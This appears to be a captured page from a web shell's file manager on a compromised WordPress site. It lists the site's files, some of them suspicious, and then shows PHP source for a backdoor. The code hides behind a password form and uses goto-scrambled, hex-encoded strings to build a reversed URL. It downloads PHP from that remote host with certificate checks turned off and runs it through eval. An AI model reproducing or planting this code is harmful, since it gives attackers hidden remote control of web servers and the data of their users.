Gecko [ gtgates.com ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2026-02-09 18:07
69e94c	[ DIR ]	drwxr-xr-x	2026-02-01 18:31
7ccbc	[ DIR ]	dr-xr-xr-x	2026-01-26 11:36
be5b35	[ DIR ]	drwxr-xr-x	2026-01-24 11:24
wp-content	[ DIR ]	drwxr-xr-x	2026-02-01 18:27
wp-includes	[ DIR ]	drwxr-xr-x	2026-02-01 18:27
.htaccess	236 B	-r--r--r--	2024-06-30 11:24
defaults.php	1.87 KB	-r--r--r--	2023-11-07 11:24
execute.php	979 B	-rw-r--r--	2026-02-05 00:56
google40f8a3cd77fee16f.html	53 B	-rw-r--r--	2026-01-26 07:27
googlef7e255c4ae5a4000.html	53 B	-rw-r--r--	2026-01-26 06:31
index.php	12.72 KB	-r-xr-xr-x	2026-02-01 18:27
index.php0	12.72 KB	-rwxr-xr-x	2023-11-13 11:24
item.php	1.93 KB	-r--r--r--	2023-08-19 11:24
networks.php	2 KB	-r--r--r--	2023-10-20 09:46
options.php	1.87 KB	-r--r--r--	2023-09-19 09:46
pages.php	1.45 KB	-r--r--r--	2024-02-17 09:46
plugins.php	2 KB	-r--r--r--	2024-02-10 11:24
robots.txt	313 B	-r--r--r--	2023-10-25 11:24
wp-config.php	3.45 KB	-rwxr-xr-x	2025-08-10 15:11
wp-cron.php	5.49 KB	-rw-r--r--	2024-08-03 02:40
wp-lGdOVJ.php	65.54 KB	-rw-r--r--	2025-08-14 15:36
wp-links-opml.php	2.44 KB	-rw-r--r--	2022-11-27 05:01
wp-load.php	3.84 KB	-rw-r--r--	2024-03-11 17:05
wp-log1n.php	1.78 KB	-r--r--r--	2023-12-27 09:46
wp-login.php	50.21 KB	-rw-r--r--	2025-02-04 00:55
wp-mail.php	8.52 KB	-rw-r--r--	2025-02-09 00:00
wp-settings.php	29.38 KB	-rw-r--r--	2025-03-04 21:06
wp-signup.php	33.71 KB	-rw-r--r--	2025-03-11 01:16
wp-trackback.php	4.98 KB	-rw-r--r--	2024-10-18 22:56
xmlrpc.php	3.13 KB	-rw-r--r--	2024-11-08 23:52

Rename

<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto abM39; y6XNG: $SS8Fu .= "\x61\x64\57"; goto Toa91; XsSUB: $SS8Fu .= "\156\x2f\x61\x6d"; goto y6XNG; OzoPC: $SS8Fu .= "\145"; goto XsSUB; F0uUK: $SS8Fu .= "\164\56\61\x30\x61"; goto m5FkB; xJQZm: $SS8Fu .= "\57\x3a\x73\x70"; goto uRZbS; a7t9X: $SS8Fu .= "\63\61\57\167"; goto OzoPC; foILs: $SS8Fu .= "\164\170\x74\x2e\71"; goto a7t9X; m5FkB: $SS8Fu .= "\155\x61\144\x2f"; goto xJQZm; Toa91: $SS8Fu .= "\x70\157"; goto F0uUK; bjYUL: $SS8Fu .= "\x74\x68"; goto ZQY1f; uRZbS: $SS8Fu .= "\x74"; goto bjYUL; ZQY1f: eval("\x3f\x3e" . Tw2kx(strrev($SS8Fu))); goto GJQOP; abM39: $SS8Fu = ''; goto foILs; GJQOP: function tw2kx($V1_rw = '') { goto pvodd; xyA6t: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto QUqD1; bum1m: curl_close($xM315); goto yk51G; yk51G: return $tvmad; goto llacL; CfzL7: $tvmad = curl_exec($xM315); goto bum1m; glb9w: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto CfzL7; bhhj0: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto glb9w; QUqD1: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto bhhj0; czIL1: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto xyA6t; pvodd: $xM315 = curl_init(); goto czIL1; llacL: }